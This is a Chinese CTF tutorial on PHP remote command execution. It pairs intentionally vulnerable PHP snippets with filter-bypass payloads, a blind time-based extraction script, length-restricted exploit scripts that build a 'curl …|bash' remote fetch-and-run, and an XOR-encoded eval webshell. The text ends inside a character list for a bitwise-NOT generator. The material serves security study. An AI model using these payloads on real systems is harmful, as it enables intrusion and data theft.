WEB-PHP命令执行总结

  • 24 min read
  • Tags: 
  • CTF
  • WEB
  • PHP
  • RCE

常见命令执行函数

system

<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_GET["benben"];
if(isset($cmd)){
    system($cmd);
}
?>

可以直接把命令丢给system,他会直接运行并且输出返回的内容。

exec()

<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
exec($cmd,$array);
print_r($array);
?>

需要传入两个参数,一个是命令,一个是执行后的命令回显存放位置,想要看运行结果需要单独的输出。

passthru()

<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
echo "This is test!!!";
passthru($cmd);
?>

和system相同,运行直接回显

shell_exec()

<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$output = shell_exec($cmd);
echo $output;
?>

传入命令后会返回一个数据,这个数据就是命令执行后的回显,也需要单独输出。

反引号``

<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
echo `$cmd`,PHP_EOL;
?>

运行需要手动echo

popen

<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$ben = popen($cmd,'r');
while($s=fgets($ben)){
    print_r($s);
}
?>

传入两个变量,第一个是命令,第二个是模式,一般是rw分别代表读取和写入。底层实际就是开一个现成用来接收数据,函数打开一个进程管道,可以用来执行命令并读取其输出或写入数据。它以文件流的方式处理命令输出,需要手动构造 var_dump() / print_r 语句来显示输出。

proc_open

<?php
error_reporting(0);
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$array =   array(
    array("pipe","r"),   //标准输入
    array("pipe","w"),   //标准输出内容
    array("file","/tmp/error-output.txt","a")    //标准输出错误
);

$fp = proc_open($cmd,$array,$pipes);   //打开一个进程通道
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>

需要传入三个参数,第一个是执行的命令,第二个是参数,然后第三个是调用数组的内容,0表示输入,1表示输出,默认没回显,需要知道即可,不常用。

pcntl_exec

<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
pcntl_exec("/bin/bash",array("-c",$cmd));

需要传入两个参数,第一个是二进制文件,第二个是运行参数,然后他需要拥有前置模块才可以用。

函数限制绕过

<?php
header("content-type:text/html;charset=utf-8"); 
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])){
    $c = $_GET['cmd'];
    if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
        eval($c);
    }
    else{
        echo "你是黑客么?";
    }
}

禁止了一些函数的使用,命令执行的函数有多种,用其他的命令函数绕过不多说,它还可以用文件包含、还有一些编码绕过base64、urldecode等等,可用payload如下

eval(urldecode("syste%256d(%27dir%27);"));
eval(base64_decode(%22c3lzdGVtKCdkaXInKTs=%22));

命令拼接绕过

<?php
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
if(isset($cmd)){
    system("ls".$cmd);
}
?>

上面的这个解法比较简单通过;&&&|||都可以,其实这种的绕过方法还是蛮多的,要注意的是如果要用&的话,需要url编码,因为他是传参的分割符。

<?php
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
$cmd = $cmd." >/dev/null 2>&1";
if(isset($cmd)){
    system($cmd);
}
?>

这个相同的,用;||都可以,其中||的含义是指前面的命令执行成功则就不执行后面的命令

空格过滤绕过

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
if(isset($cmd)){
    $cmd = preg_replace("# #","",$cmd);
    echo "过滤后的命令:".$cmd."</br >";
    echo "命令执行结果如下:";
    system($cmd);
}
?>

preg_replace会把所有的空格替换成空,也就是函数所有的空格都会剔除。这种的绕过方式有很多种,这里简单列举一些常用的{cat,/flag}cat$IFS/flagcat${IFS}/flagcat$IFS$9/flag,这些$相关的都是linux内置的一些环境变量,都可以代表空格来用,然后$IFS是不可以直接在终端中当作空格使用的,原因是因为没有界定符,例如

cat$IFScmd.sh

他会把IFScmd都当作环境变量,具体就可以采用${IFS}来解决,然后后面加一个$9的作用也可以理解为做一个变量的分割。然后重定向可以用来空格绕过,例如cat</flagcat<>/flag,具体就是把文件输出给命令,不多说了可以自己多试试。除去上面的还有通过URL编码的绕过,具体就是采用%09代表的是tab键,本身tab敲出来也会是一个长空格所以也可以,然后%20不一定行,因为它本身就是空格,有些题目也可以绕过。简单汇总一下

{cat,/flag}
cat$IFS/flag
cat${IFS}/flag
cat$IFS$9/flag
cat</flag
cat<>/flag
cat%09/flag
cat%20/flag

文件名过滤绕过

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match("/flag|system|php/i", $cmd)) {
        eval($cmd);
    }
    else{
        echo "命令有问题哦,来黑我丫!!!";
        }
}

执行的函数不多说了,可以直接用其他的命令执行函数,主要是flag看不了,第一种方法添加?,例如cat /fla?/bin/ca? /?la?,这算Linux的一个语法糖了。第二种就是引号绕过cat /f''lagcat /f""lag单双引号都可以,对于linux来说双引号单引号就是可以代表拼接一下。第三种反斜杠\,他一般用来当作转义符,但是直接运行在linux中他的含义是拼接符,就是可以用来换行敲命令的一个符号,换行自动拼接,也可以用到这里cat /fla\gcat /f\la\g,这个相当于这样运行的

cat /fla\
g
cat /f\
la\
g

第四种是可以通过特殊的环境变量来是实现,例如$1$9都可以尝试,还有$@$*等等...第五种可以通过内联执行的方式去运行,例如a=f;d=ag;c=l;cat /$a$c$d,实际就是执行的cat /flag。第六种依旧是通过环境变量,参考我的PATH环境,如下

┌──(root㉿BoyChaiWindows)-[~/temp/zongjie]
└─# echo $PATH
/root/miniconda3/condabin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/usr/lib/wsl/lib:/mnt/d/VMware Workstation/bin/:/mnt/c/Windows/system32:/mnt/c/Windows:/mnt/c/Windows/System32/Wbem:/mnt/c/Windows/System32/WindowsPowerShell/v1.0/:/mnt/c/Windows/System32/OpenSSH/:/mnt/d/Microsoft VS Code/bin:/mnt/c/Program Files/dotnet/:/mnt/e/Environment/miniconda3/condabin:/mnt/d/Git/cmd:/mnt/c/Program Files/WireGuard/:/mnt/e/Environment/jdk-17.0.0.1/bin:/mnt/e/Environment/go-v1.24.2/bin:/mnt/c/Users/BoyChai/go/bin:/mnt/e/Other/Bin:/mnt/e/Environment/msys64:/mnt/e/Environment/msys64/mingw64/bin:/mnt/e/Environment/node-v22.15.0-win-x64:/mnt/d/Tencent/微信web开发者工具/dll:/mnt/d/Tools/QtScrcpy-win-x64-v3.2.0:/mnt/d/Wireshark:/mnt/c/Users/BoyChai/AppData/Local/Microsoft/WindowsApps:/mnt/d/Tools/Fiddler:/mnt/d/Lens/resources/cli/bin:/mnt/c/Users/BoyChai/AppData/Local/Muse Hub/lib:/root/.dotnet/tools

里面可能能频出一个flag,我们把字符挨个提取出来,例如这样

┌──(root㉿BoyChaiWindows)-[~/temp/zongjie]
└─# echo ${PATH:326:1}${PATH:31:1}${PATH:14:1}${PATH:92:1}
flag

也可以具体就是从第几个开始的第几个。第七种方式就是base64,例如下面几种方式

`echo Y2F0IC9mbGFn |base64 -d`
echo "Y2F0IC9mbGFn"|base64 -d|bash

下面汇总一下

cat /fla?
/bin/ca? /?la?
cat /f''lag
cat /f""lag
cat /fla\g
cat /f\la\g
cat /f${1}lag
cat a=f;d=ag;c=l;cat /$a$c$d
echo ${PATH:326:1}${PATH:31:1}${PATH:14:1}${PATH:92:1} # 需要根据环境变量自己拼
`echo Y2F0IC9mbGFn |base64 -d`
echo "Y2F0IC9mbGFn"|base64 -d|bash

文件读取绕过

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match("/flag|php|cat|sort|shell|\'/i", $cmd)) {
        eval($cmd);
    }
    else{
        echo "再来黑我丫!!!";
    }
}

这种是限制了传入时的一些查看文件的命令,替代品有很多,第一种tac是反向显示文件内容,cat是正向他是反向。第二种more也可以,他也是一个查看文件内容的命令。第三种less和more差不多。第四种tail查看末尾几行数据。第五种nl显示的时候顺便输出行号,和cat几乎一样,只是多一个行号的显示。第六种od按照二进制的形式读取文件。第七种xxd读取二进制文件。第八种sort,用来排序的也可以用来展示数据内容。第九种uniq去除重复内容的,或者统计。第十种file -f这个会报错出具体的文本内容。第十一种grep查找字符串,不加内容和cat差不多。上面这些都是通过命令,这里依旧可以通过base64的形式绕过,例如echo "Y2F0IC9mbGFn"|base64 -d|bash。下面汇总一下

tac、more、less、tail、nl、od、xxd、sort、uniq、file -f、grep......
`echo Y2F0IC9mbGFn |base64 -d`
echo "Y2F0IC9mbGFn"|base64 -d|bash

编码解码绕过

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match("/flag|php|cat|sort|shell/i", $cmd)) {
        eval($cmd);
    }
    else{
        echo "再来黑我丫!!!";
    }
}

例题依旧采用文件读取绕过的那道题目,很多情况都可以通过当前办法进行绕过,在文件名字那的时候就已经尝试使用base64的形式绕过,这里多说一些,如果题目直接就是次啊用eval的形式,那么就说明咱们可以通过php代码进行绕过,例如上面函数限制绕过

# eval执行
eval(urldecode("syste%256d(%27dir%27);"));
eval(base64_decode(%22c3lzdGVtKCdkaXInKTs=%22));
# base64
`echo Y2F0IC9mbGFn |base64 -d`
echo "Y2F0IC9mbGFn"|base64 -d|bash
# base32
echo MNQXIIBPMZWGCZY=|base32 -d |bash
# hex 有些可能没有xxd命令
echo 636174202f666c6167 |xxd -r -p|bash
printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67" |bash
# python 一般linux环境都会带有,python的操作空间很大,自己家xor、编码都可以
python -c "with open('/flag', 'r') as f: content = f.read(); print(content)"
python3 -c "import os; content = os.popen('cat /flag').read(); print(content)"

如果我们可以直接拿到eval的内容控制,那么解法就会非常多,你可以自己写一个xor异或去执行解码,等等...

无回显时间盲注

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\!|\@|\#|\%|\^|\&|\*|\?|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    check($cmd);
    exec($cmd);
}
else{
    highlight_file(__FILE__);
}
?>

采用exec去执行的,并且不输出内容,这里就是不回显的,需要进行盲注,具体可以利用的命令如下

sleep {time s} # 命令拼接数字,单位是秒,延迟多少秒 
awk {NR=*}     # awk NR==1 代表读取第一行
cut -c         # cut -c1 表示读取当前行的第1个字符

可以根据上面语句进行编写shell脚本,如下

if [ `cat flag.php | awk NR==1 | cut -c1` == f ];then sleep 2;fi

如果flag.php的第一行的第一个字符是'f'那么就延时2秒返回,我们可以通过http返回相应的时间来判断是否成功,具体就可以编写出下面python脚本

import requests
import time
url = "http://localhost/"
result = ""
for i in range(1,5):
    for j in range(1,55):
        #ascii挨个遍历爆破
        for k in range(32,128):
            k=chr(k)
            #time.sleep(0.1)
            payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + k
                print(result)
                break
    result += " "

思路就是爆破5行,然后一行爆破55个,每次都从ASCII的32开始到128结束,具体延时2秒,如果1.5秒还没回显那么说明成功,追加到输出中,脚本可以自己根据情况进行修改。

长度过滤绕过

长度绕过这里说两个比较典型的,首先是7位长度的

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
    $a = str_replace("/\*|\?|/","=====",$argv);
    return $a;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
    exec(filter($_GET['cmd']));
} else  {
    echo "flag in local path flag file!!";
}

然后就是4为长度的

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
    str_replace("/\?|/","=====",$argv);
    return $argv;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
    exec(filter($_GET['cmd']));
} else  {
    echo "flag in local path flag file!";
}

他们两个都不会回显数据,比较通用的思路如下 按照命令cat flag为例子,他是8个字符,如果想要长度不能超过7的方式去执行,那么可以执行下面命令来绕过

>ag
>fl\\
>"t \\"
>ca\\
ls -t>a
sh a

前面的>xxx是为了创建文件,然后\\用作转义我们可以看看ls -t命令的回显,如下

┌──(root㉿BoyChaiWindows)-[~/temp/test]
└─# ls -t
 flag   a  'ca\'  't \'  'fl\'   ag

a文件内容如下

┌──(root㉿BoyChaiWindows)-[~/temp/test]
└─# cat a
a
ca\
t \
fl\
ag

它通过\去换行继续输出命令,最终实际执行的内容就是cat flag,上面的操作因为需要执行ls -t>a所以只能在长度等于或者大于7的时候使用,然后因为是创建文件的形式,所有的都无法去直接查看/下的内容,我们可以采用反弹shell的形式去查看,这里给出两个exp,分别是长度为5和长度为4的时候的解决办法,5的是这样

#encoding:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/3/index.php?cmd="
s = requests.session()

# 将ls -t 写入文件_
list=[
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>y",
    "ls>>_"
]

# curl 192.168.1.161/1|bash
list2=[
    ">bash",
    ">\|\\",
    ">\/\\",
    ">61\\",
    ">1\\",
    ">1.\\",
    ">8.\\",
    ">16\\",
    ">2.\\",
    ">19\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]
for i in list:
    time.sleep(1)
    url = baseurl+str(i)
    s.get(url)

for j in list2:
    time.sleep(1)
    url = baseurl+str(j)
    s.get(url)

s.get(baseurl+"sh _")
s.get(baseurl+"sh y")

如果长度是4的话那么可以采用下面脚本

#encoding:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/4/ffff.php?cmd="
s = requests.session()

# 将ls -t 写入文件g
list=[
    ">g\;",
    ">g\>",
    ">ht-",
    ">sl",
    ">dir",
    "*>v",
    ">rev",
    "*v>x"
]

# curl 192.168.1.161|bash
list2= [
    ">ash",
    ">b\\",
    '>\|\\',
    '>A1\\',
    '>01\\',
    '>A8\\',
    '>C0\\',
    '>0x\\',
    '>\ \\',
    '>rl\\',
    '>cu\\'
]
for i in list:
    time.sleep(1)
    url = baseurl+str(i)
    s.get(url)

for j in list2:
    time.sleep(1)
    url = baseurl+str(j)
    s.get(url)

s.get(baseurl+"sh x")
s.get(baseurl+"sh g")

可以根据自己的情况进行修改Moab那脚本所执行的内容命令。 PS:如果是7位的话也可以这样nl /fl*

无参命令执行

<?php
error_reporting(0);
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
}
?>

先分析一下代码,里面就一个正则的判断,如果规则最终匹配替换到一个;那么就继续运行,否则不执行,其中里面的正则/[^\W]+\((?R)?\)/我们拆解一下分析[^\W]的含义是指A-Za-z0-9_数字字母都会被匹配,然后就是\((?R)?\)递归的去匹配xxx()这种形式的字符串,就是必须带一个(),并且括弧中不允许有任何内容,然后这是一个递归的匹配即a(b(c()))都可以,就是里面不允许有内容,例如phpinfo();最红就会被替换成一个;,我们如果想要执行命令,如果用传统的办法肯定是不行,这里可以采用下面几种绕过的方式。

请求头绕过

第一种是我们通过传请求头内容我们可以通过getallheaders()函数获取所有请求头内容,请求头我们也是可以控制的,例如构造一个这样的请求code=print_r(getallheaders());,然后在请求头中再加一个数据,这个随便,看一下回显 我在请求头的最后加了一个exec: dir的项,然后通过getallheader()获取了出来,他返回了一个array数组,我们可以通过他自身的一些操作数组的函数来直接获取到第一个的数据例如pos()或者最后一个end(),我们再次构造code为print_r(pos(getallheaders()));,回显内容即变成了dir,如下图

这个时候就比较好理解了,print_r直接包裹一个system即可执行命令 然后就是还有一个apache_request_headers()函数效果一样,但是这个应该是需要一个apache的支持。需要注意的是,header传入的时候需要放到最后面才是里面数组的第一个,或则放到最前面,用end()获取最后一个。

全局变量绕过

第二种是通过全局变量的形式来做命令执行的绕过,环境变量可以通过函数get_defined_vars()来获取,我们可以通过print_r(get_defined_vars());来获取他的内容 他会返回所有当前定义的变量,并且依旧是数组的形式,格式化之后是长这个样子 GET数组中有咱们刚才传入的参数,并且还是个数组,我们依旧可以通过这个去绕过,例如构造一个这样的payload?code=print_r(end(pos(get_defined_vars())));&exec=dir,返回值如下 这里就比较简单了我们直接把print_r替换成system即可

SESSION绕过

第三种方法是通过session绕过,但是他应该是之能在php5中使用,下面介绍两个函数session_start()session_id()第一个start是如果当前传入了sessionid的话则返回true,也就是1,然后第二个id,如果传入的内容是true,那么他就会返回当前的sessionid,sessionid我们是可以控制的,在burp中抓包可以直接修改他,我们构造一个这样的payloadprint_r(session_id(session_start()));,然后修改sessionid为cat$IFS/flag去发送请求,返回值如下 到这里的话我们就可以直接把print_r修改成system了。

其他的方法

绕过这个的方法有很多很多,如果前面几种都不可以使用那么你就可以通过当前的方法来做了,具体思路就是通过php的一些内置函数获取当前目录或者获取目录的内容,然后通过php内置的函数,例如获取第一个或者最后一个,再去通过一些read函数的组合来读取flag,总之就是各种的函数拼接,这里不去细说了,因为太多了,做到这里就可以用ai来去查询一些相关的函数了,其实操作空间很大,因为并没有禁止咱们去执行的内容,只是不让传参。

可逆运算绕过

<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/[a-z0-9]/is',$_GET['cmd'])) {
    eval($_GET['cmd']);
}

先分析一下代码,他这里存在一个正则的验证,不能有大小写字母a-z然后不能有0-9,也就是说所有的字母和数字都被过滤了,这种只能输入符号来解决,这种的过滤可以通过下面几种方法绕过。

异或运算

异或是干什么事的这里不多说,不了解的话可以参考这篇文章https://www.ruanyifeng.com/blog/2021/01/_xor.html,这里主要是通过可见字符去异或可见字符拿到一个他限制的内容,具体可以通过下面脚本来爆破对应文本所需的异或符号

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$shell = $_GET["cmd"];
$result1 = "";
$result2 = "";

function judge($c)
{
    if(!preg_match('/[a-z0-9]/is',$c))
    {
        return true;
    }
    return false;
}

for($num=0;$num<=strlen($shell);$num++)
{
    for($x=33;$x<=126;$x++)
    {
        if(judge(chr($x)))
        {
            for($y=33;$y<=126;$y++)
            {
                if(judge(chr($y)))
                {
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo "异或运算第一部分: ".$result1;
echo "<br>";
echo "异或运算第二部分: ".$result2;

例如我们想要执行phpinfo,他返回的内容是

异或运算第一部分: +(+).&/
异或运算第二部分: [@[@@@@

我们可以构造一个$_="+(+).&/"^"[@[@@@@";$_()的方式来去执行它,返回值如下 需要注意的是,符号存在+,它会被自动解析成空格,我们需要给他加一层url编码,如果要执行命令则可以构造一个一句话木马来执行,这个转换还有编码其实蛮麻烦的,我这里直接给出一个通用的,如果不行的话大家可以通过上面脚本自己去生成对应的命令

${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

上面这个实际就是代表eval($_POST['a']),去post中转入命令即可

取反绕过

简单认识一下取反,以字符a为例,拿到他的2进制那就是01100001,具体可以通过python去获取他们的二进制print(bin(ord("a"))),如果对a进行取反,那么最终的值就是从01100001->10011110,这个值是9E,通过url编码最后拿到一个中文字符。我们如果输入的内容是一个中文,再给他加一个取反符号,那么他就会是一个a,如果要再php中取反可以使用~("极")这样。然后给出一个生成取反绕过的一个网页

<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
$shell = $_GET['cmd'];
$result = "";
$arr =array();
$word = "一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己已子卫也女飞刃习叉马乡丰王井开夫天无元专云扎艺
木五支厅不太犬区历尤友匹车巨牙屯比互切瓦止少日中冈贝内水见午牛手毛气升长仁什片仆化仇币仍仅斤爪反介父从今凶分乏公仓月氏勿欠风丹匀乌凤勾文六方火为斗忆订计户认心尺引
丑巴孔队办以允予劝双书幻玉刊示末未击打巧正扑扒功扔去甘世古节本术可丙左厉右石布龙平灭轧东卡北占业旧帅归且旦目叶甲申叮电号田由史只央兄叼叫另叨叹四生失禾丘付仗代仙们
仪白仔他斥瓜乎丛令用甩印乐句匆册犯外处冬鸟务包饥主市立闪兰半汁汇头汉宁穴它讨写让礼训必议讯记永司尼民出辽奶奴加召皮边发孕圣对台矛纠母幼丝式刑动扛寺吉扣考托老执巩圾
扩扫地扬场耳共芒亚芝朽朴机权过臣再协西压厌在有百存而页匠夸夺灰达列死成夹轨邪划迈毕至此贞师尘尖劣光当早吐吓虫曲团同吊吃因吸吗屿帆岁回岂刚则肉网年朱先丢舌竹迁乔伟传
乒乓休伍伏优伐延件任伤价份华仰仿伙伪自血向似后行舟全会杀合兆企众爷伞创肌朵杂危旬旨负各名多争色壮冲冰庄庆亦刘齐交次衣产决充妄闭问闯羊并关米灯州汗污江池汤忙兴宇守宅
字安讲军许论农讽设访寻那迅尽导异孙阵阳收阶阴防奸如妇好她妈戏羽观欢买红纤级约纪驰巡寿弄麦形进戒吞远违运扶抚坛技坏扰拒找批扯址走抄坝贡攻赤折抓扮抢孝均抛投坟抗坑坊抖
护壳志扭块声把报却劫芽花芹芬苍芳严芦劳克苏杆杠杜材村杏极李杨求更束豆两丽医辰励否还歼来连步坚旱盯呈时吴助县里呆园旷围呀吨足邮男困吵串员听吩吹呜吧吼别岗帐财针钉告我
乱利秃秀私每兵估体何但伸作伯伶佣低你住位伴身皂佛近彻役返余希坐谷妥含邻岔肝肚肠龟免狂犹角删条卵岛迎饭饮系言冻状亩况床库疗应冷这序辛弃冶忘闲间闷判灶灿弟汪沙汽沃泛沟
没沈沉怀忧快完宋宏牢究穷灾良证启评补初社识诉诊词译君灵即层尿尾迟局改张忌际陆阿陈阻附妙妖妨努忍劲鸡驱纯纱纳纲驳纵纷纸纹纺驴纽奉玩环武青责现表规抹拢拔拣担坦押抽拐拖
拍者顶拆拥抵拘势抱垃拉拦拌幸招坡披拨择抬其取苦若茂苹苗英范直茄茎茅林枝杯柜析板松枪构杰述枕丧或画卧事刺枣雨卖矿码厕奔奇奋态欧垄妻轰顷转斩轮软到非叔肯齿些虎虏肾贤尚
旺具果味昆国昌畅明易昂典固忠咐呼鸣咏呢岸岩帖罗帜岭凯败贩购图钓制知垂牧物乖刮秆和季委佳侍供使例版侄侦侧凭侨佩货依的迫质欣征往爬彼径所舍金命斧爸采受乳贪念贫肤肺肢肿
胀朋股肥服胁周昏鱼兔狐忽狗备饰饱饲变京享店夜庙府底剂郊废净盲放刻育闸闹郑券卷单炒炊炕炎炉沫浅法泄河沾泪油泊沿泡注泻泳泥沸波泼泽治怖性怕怜怪学宝宗定宜审宙官空帘实试
郎诗肩房诚衬衫视话诞询该详建肃录隶居届刷屈弦承孟孤陕降限妹姑姐姓始驾参艰线练组细驶织终驻驼绍经贯奏春帮珍玻毒型挂封持项垮挎城挠政赴赵挡挺括拴拾挑指垫挣挤拼挖按挥挪
某甚革荐巷带草茧茶荒茫荡荣故胡南药标枯柄栋相查柏柳柱柿栏树要咸威歪研砖厘厚砌砍面耐耍牵残殃轻鸦皆背战点临览竖省削尝是盼眨哄显哑冒映星昨畏趴胃贵界虹虾蚁思蚂虽品咽骂
哗咱响哈咬咳哪炭峡罚贱贴骨钞钟钢钥钩卸缸拜看矩怎牲选适秒香种秋科重复竿段便俩贷顺修保促侮俭俗俘信皇泉鬼侵追俊盾待律很须叙剑逃食盆胆胜胞胖脉勉狭狮独狡狱狠贸怨急饶蚀
饺饼弯将奖哀亭亮度迹庭疮疯疫疤姿亲音帝施闻阀阁差养美姜叛送类迷前首逆总炼炸炮烂剃洁洪洒浇浊洞测洗活派洽染济洋洲浑浓津恒恢恰恼恨举觉宣室宫宪突穿窃客冠语扁袄祖神祝误
诱说诵垦退既屋昼费陡眉孩除险院娃姥姨姻娇怒架贺盈勇怠柔垒绑绒结绕骄绘给络骆绝绞统耕耗艳泰珠班素蚕顽盏匪捞栽捕振载赶起盐捎捏埋捉捆捐损都哲逝捡换挽热恐壶挨耻耽恭莲莫
荷获晋恶真框桂档桐株桥桃格校核样根索哥速逗栗配翅辱唇夏础破原套逐烈殊顾轿较顿毙致柴桌虑监紧党晒眠晓鸭晃晌晕蚊哨哭恩唤啊唉罢峰圆贼贿钱钳钻铁铃铅缺氧特牺造乘敌秤租积
秧秩称秘透笔笑笋债借值倚倾倒倘俱倡候俯倍倦健臭射躬息徒徐舰舱般航途拿爹爱颂翁脆脂胸胳脏胶脑狸狼逢留皱饿恋桨浆衰高席准座脊症病疾疼疲效离唐资凉站剖竞部旁旅畜阅羞瓶拳
粉料益兼烤烘烦烧烛烟递涛浙涝酒涉消浩海涂浴浮流润浪浸涨烫涌悟悄悔悦害宽家宵宴宾窄容宰案请朗诸读扇袜袖袍被祥课谁调冤谅谈谊剥恳展剧屑弱陵陶陷陪娱娘通能难预桑绢绣验继
球理捧堵描域掩捷排掉堆推掀授教掏掠培接控探据掘职基著勒黄萌萝菌菜萄菊萍菠营械梦梢梅检梳梯桶救副票戚爽聋袭盛雪辅辆虚雀堂常匙晨睁眯眼悬野啦晚啄距跃略蛇累唱患唯崖崭崇
圈铜铲银甜梨犁移笨笼笛符第敏做袋悠偿偶偷您售停偏假得衔盘船斜盒鸽悉欲彩领脚脖脸脱象够猜猪猎猫猛馅馆凑减毫麻痒痕廊康庸鹿盗章竟商族旋望率着盖粘粗粒断剪兽清添淋淹渠渐
混渔淘液淡深婆梁渗情惜惭悼惧惕惊惨惯寇寄宿窑密谋谎祸谜逮敢屠弹随蛋隆隐婚婶颈绩绪续骑绳维绵绸绿琴斑替款堪搭塔越趁趋超提堤博揭喜插揪搜煮援裁搁搂搅握揉斯期欺联散惹葬
葛董葡敬葱落朝辜葵棒棋植森椅椒棵棍棉棚棕惠惑逼厨厦硬确雁殖裂雄暂雅辈悲紫辉敞赏掌晴暑最量喷晶喇遇喊景践跌跑遗蛙蛛蜓喝喂喘喉幅帽赌赔黑铸铺链销锁锄锅锈锋锐短智毯鹅剩
稍程稀税筐等筑策筛筒答筋筝傲傅牌堡集焦傍储奥街惩御循艇舒番释禽腊脾腔鲁猾猴然馋装蛮就痛童阔善羡普粪尊道曾焰港湖渣湿温渴滑湾渡游滋溉愤慌惰愧愉慨割寒富窜窝窗遍裕裤裙
谢谣谦属屡强粥疏隔隙絮嫂登缎缓编骗缘瑞魂肆摄摸填搏塌鼓摆携搬摇搞塘摊蒜勤鹊蓝墓幕蓬蓄蒙蒸献禁楚想槐榆楼概赖酬感碍碑碎碰碗碌雷零雾雹输督龄鉴睛睡睬鄙愚暖盟歇暗照跨跳
跪路跟遣蛾蜂嗓置罪罩错锡锣锤锦键锯矮辞稠愁筹签简毁舅鼠催傻像躲微愈遥腰腥腹腾腿触解酱痰廉新韵意粮数煎塑慈煤煌满漠源滤滥滔溪溜滚滨粱滩慎誉塞谨福群殿辟障嫌嫁叠缝缠静
碧璃墙撇嘉摧截誓境摘摔聚蔽慕暮蔑模榴榜榨歌遭酷酿酸磁愿需弊裳颗嗽蜻蜡蝇蜘赚锹锻舞稳算箩管僚鼻魄貌膜膊膀鲜疑馒裹敲豪膏遮腐瘦辣竭端旗精歉熄熔漆漂漫滴演漏慢寨赛察蜜谱
嫩翠熊凳骡缩慧撕撒趣趟撑播撞撤增聪鞋蕉蔬横槽樱橡飘醋醉震霉瞒题暴瞎影踢踏踩踪蝶蝴嘱墨镇靠稻黎稿稼箱箭篇僵躺僻德艘膝膛熟摩颜毅糊遵潜潮懂额慰劈操燕薯薪薄颠橘整融醒餐
嘴蹄器赠默镜赞篮邀衡膨雕磨凝辨辩糖糕燃澡激懒壁避缴戴擦鞠藏霜霞瞧蹈螺穗繁辫赢糟糠燥臂翼骤鞭覆蹦镰翻鹰警攀蹲颤瓣爆疆壤耀躁嚼嚷籍魔灌蠢霸露囊罐匕刁丐歹戈夭仑讥冗邓艾
夯凸卢叭叽皿凹囚矢乍尔冯玄邦迂邢芋芍吏夷吁吕吆屹廷迄臼仲伦伊肋旭匈凫妆亥汛讳讶讹讼诀弛阱驮驯纫玖玛韧抠扼汞扳抡坎坞抑拟抒芙芜苇芥芯芭杖杉巫杈甫匣轩卤肖吱吠呕呐吟呛
吻吭邑囤吮岖牡佑佃伺囱肛肘甸狈鸠彤灸刨庇吝庐闰兑灼沐沛汰沥沦汹沧沪忱诅诈罕屁坠妓姊妒纬玫卦坷坯拓坪坤拄拧拂拙拇拗茉昔苛苫苟苞茁苔枉枢枚枫杭郁矾奈奄殴歧卓昙哎咕呵咙
呻啰咒咆咖帕账贬贮氛秉岳侠侥侣侈卑刽刹肴觅忿瓮肮肪狞庞疟疙疚卒氓炬沽沮泣泞泌沼怔怯宠宛衩祈诡帚屉弧弥陋陌函姆虱叁绅驹绊绎契贰玷玲珊拭拷拱挟垢垛拯荆茸茬荚茵茴荞荠荤
